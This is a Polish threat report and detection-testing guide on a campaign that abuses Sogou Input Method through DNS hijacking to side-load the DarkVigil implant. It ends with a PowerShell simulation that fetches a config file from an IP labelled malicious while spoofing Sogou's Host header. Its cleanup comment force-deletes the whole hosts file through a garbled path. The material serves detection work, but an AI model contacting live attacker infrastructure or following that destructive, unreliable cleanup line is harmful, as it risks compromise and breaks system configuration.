Kampania złośliwego oprogramowania SlippyNunchucks wykorzystuje promocję marki Sogou

Podsumowanie

Aktorska grupa zagrożeniowa SlippyNunchucks wykorzystuje uprowadzanie DNS do przechwytywania niebezpiecznego ruchu HTTP generowanego przez Sogou Input Method. To umożliwia atakującym wstrzykiwanie złośliwej konfiguracji, która inicjuje pobieranie implantu malware DarkVigil poprzez techniki side-loading. Kampania głównie celuje w użytkowników mówiących po chińsku na obszarach Azji i Europy.

Śledztwo

Badacze z ESET odkryli, że grupa nadużywa mechanizmu promocji marki w ramach Sogou Input Method, szczególnie komponentu SGTool.exe. Manipulacja DNS przekierowuje żądania przeznaczone dla legalnych punktów końcowych konfiguracji na infrastrukturę atakującego. Śledztwo ujawniło także wieloetapowy łańcuch side-loading, obejmujący legalny plik wykonywalny Adobe, którego nazwę zmieniono, aby ukryć jego obecność.

Łagodzenie

Firma Tencent rozwiązała problem w wersji 16.10 Sogou Input Method, przenosząc dotknięte żądania HTTP na HTTPS i wprowadzając walidację certyfikatów TLS. Użytkownicy powinni zaktualizować oprogramowanie do najnowszej wersji, aby zapobiec atakom uprowadzającym DNS i wstrzykiwaniu złośliwych konfiguracji.

Reakcja

Gdy zostanie wykryta złośliwa aktywność, organizacje powinny zbadać nieautoryzowane modyfikacje DNS i sprawdzić ruch sieciowy pod kątem połączeń z znanymi domenami staging, takimi jak sogou-cdn.com. Zespoły bezpieczeństwa powinny również monitorować podejrzane procesy potomne uruchamiane przez komponenty Sogou Input Method, w tym nieoczekiwane wykonania plików wykonywalnych Adobe o zmienionej nazwie lub niepodpisanych bibliotek DLL ładowanych z katalogów komponentów.

Wykonywanie symulacji

Wymaganie wstępne: Sprawdzenie telemetrii i stanu bazowego przed lotem musi być zaliczone.

Uzasadnienie: Część ta opisuje precyzyjne wykonanie techniki przeciwnika (TTP) zaprojektowanej, aby wyzwolić regułę detekcji. Komendy i narracja MUSZĄ bezpośrednio odzwierciedlać zidentyfikowane TTP i dążyć do wygenerowania dokładnej telemetrii oczekiwanej przez logikę detekcji. Abstrakcyjne lub niespowiązane przykłady doprowadzą do błędnej diagnozy.

• Narracja ataku i komendy: Przeciwnik ma na celu symulację scenariusza uprowadzania DNS, gdzie zapytanie do config.pinyin.sogou.com jest przekierowane na złośliwe IP. Aby wyzwolić konkretne dostarczone reguły wykrywania, symulacja ominie lokalny DNS i użyje zakodowanego na stałe adresu IP (47.239.250.102) który pasuje do kryteriów reguły. To imituje moment, w którym uprowadzona odpowiedź DNS kieruje oprogramowanie Sogou na serwer kontrolowany przez atakującego, aby pobrać ładunek.

• Skrypt testu regresji:

  # Symulacja uprowadzania DNS za pomocą zakodowanego na stałe połączenia IP, aby wyzwolić konkretną regułę
  # To imituje metodę wejściową Sogou próbującą dotrzeć do serwera konfiguracyjnego 
  # ale zostaje przekierowana na złośliwe IP.
  
  $TargetDomain = "config.pinyin.sogou.com"
  $MaliciousIP = "47.239.250.102"
  
  Write-Host "[*] Rozpoczynamy symulację generowania telemetrii uprowadzania DNS..."
  
  # Używamy bezpośredniego połączenia IP, aby imitować efekt uprowadzonej rezolucji DNS
  # Wiele logów proxy zapisze żądany domen zgodnie z nagłówkiem Host 
  # nawet jeśli połączenie zostanie nawiązane przez IP.
  
  try {
      $uri = "http://$($MaliciousIP)/update/config.bin"
      Write-Host "[*] Próbuję połączenia z $TargetDomain przez $MaliciousIP"
  
      # Używając Invoke-WebRequest do symulacji ruchu sieciowego przez proxy
      Invoke-WebRequest -Uri $uri -Method Get -Headers @{"Host"="$TargetDomain"} -TimeoutSec 5
  }
  catch {
      Write-Host "[!] Połączenie nieudane (oczekiwane, ponieważ IP prawdopodobnie offline), ale telemetria powinna być wygenerowana."
  }
  
  Write-Host "[*] Symulacja zakończona."

• Komendy czyszczenia:

  # Ten skrypt symulacyjny nie wprowadza trwałych zmian.
  # Aby wyczyścić artefakty na poziomie sieci, jeśli jakiekolwiek zostały dodane (np. plik hosts), użyj:
  # Remove-Item -Path C:WindowsSystem32driversetchosts -Force (Wymaga uprawnień administratora)
  Write-Host "[*] Czyszczenie zakończone. Żadne trwałe artefakty nie zostały utworzone."